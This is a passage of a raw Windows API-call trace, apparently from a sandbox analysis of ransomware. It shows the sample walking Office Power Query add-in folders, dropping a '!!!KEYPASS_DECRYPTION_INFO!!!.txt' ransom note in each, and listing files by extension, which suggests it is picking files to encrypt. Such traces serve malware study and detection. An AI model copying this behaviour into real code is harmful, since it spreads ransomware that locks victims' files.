Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gd\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x690 [0246.803] GetFileType (hFile=0x690) returned 0x1 [0246.803] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.804] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.804] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.804] WriteFile (in: hFile=0x690, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.804] WriteFile (in: hFile=0x690, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.804] CloseHandle (hObject=0x690) returned 1 [0246.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9948 [0246.805] FindNextFileW (in: hFindFile=0x2ef9948, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.805] FindNextFileW (in: hFindFile=0x2ef9948, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.805] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.805] FindNextFileW (in: hFindFile=0x2ef9948, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.805] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.805] FindNextFileW (in: hFindFile=0x2ef9948, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.805] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.805] FindNextFileW (in: hFindFile=0x2ef9948, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.805] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.805] FindNextFileW (in: hFindFile=0x2ef9948, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.805] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.805] FindNextFileW (in: hFindFile=0x2ef9948, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.805] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.805] FindNextFileW (in: hFindFile=0x2ef9948, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.805] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.805] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.805] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.805] GetLastError () returned 0x3f0 [0246.805] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.805] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4 [0246.820] GetFileType (hFile=0x6a4) returned 0x1 [0246.820] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.820] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.821] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.821] WriteFile (in: hFile=0x6a4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.822] WriteFile (in: hFile=0x6a4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.822] CloseHandle (hObject=0x6a4) returned 1 [0246.822] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9988 [0246.822] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.822] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.822] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.822] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.823] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.823] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.823] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.823] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.823] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.823] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.823] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.823] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.823] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.823] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.823] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.823] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.823] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.823] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.823] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.823] FindNextFileW (in: hFindFile=0x2ef9988, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.823] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.823] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.823] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.823] GetLastError () returned 0x3f0 [0246.823] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.823] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0246.860] GetFileType (hFile=0x6a8) returned 0x1 [0246.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.860] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.862] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.862] CloseHandle (hObject=0x6a8) returned 1 [0246.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9548 [0246.862] FindNextFileW (in: hFindFile=0x2ef9548, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.862] FindNextFileW (in: hFindFile=0x2ef9548, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.862] FindNextFileW (in: hFindFile=0x2ef9548, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.862] FindNextFileW (in: hFindFile=0x2ef9548, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.862] FindNextFileW (in: hFindFile=0x2ef9548, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.862] FindNextFileW (in: hFindFile=0x2ef9548, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.863] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.863] FindNextFileW (in: hFindFile=0x2ef9548, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.863] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.863] FindNextFileW (in: hFindFile=0x2ef9548, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.863] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.863] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.863] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.863] GetLastError () returned 0x3f0 [0246.863] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.863] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0246.914] GetFileType (hFile=0x6a0) returned 0x1 [0246.914] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.914] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.914] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.915] WriteFile (in: hFile=0x6a0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.915] WriteFile (in: hFile=0x6a0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.915] CloseHandle (hObject=0x6a0) returned 1 [0246.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef96c8 [0246.916] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.916] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.916] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.916] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.916] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.916] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.916] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.916] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.916] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.917] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.917] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.917] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.917] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.917] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.917] FindNextFileW (in: hFindFile=0x2ef96c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.917] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.917] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.917] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.917] GetLastError () returned 0x3f0 [0246.917] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.917] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0246.930] GetFileType (hFile=0x6ac) returned 0x1 [0246.930] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.930] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.930] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.930] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.931] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.931] CloseHandle (hObject=0x6ac) returned 1 [0246.931] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9588 [0246.931] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.931] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.931] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.931] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.931] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.931] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.931] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.931] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.931] PathFindExtensionW 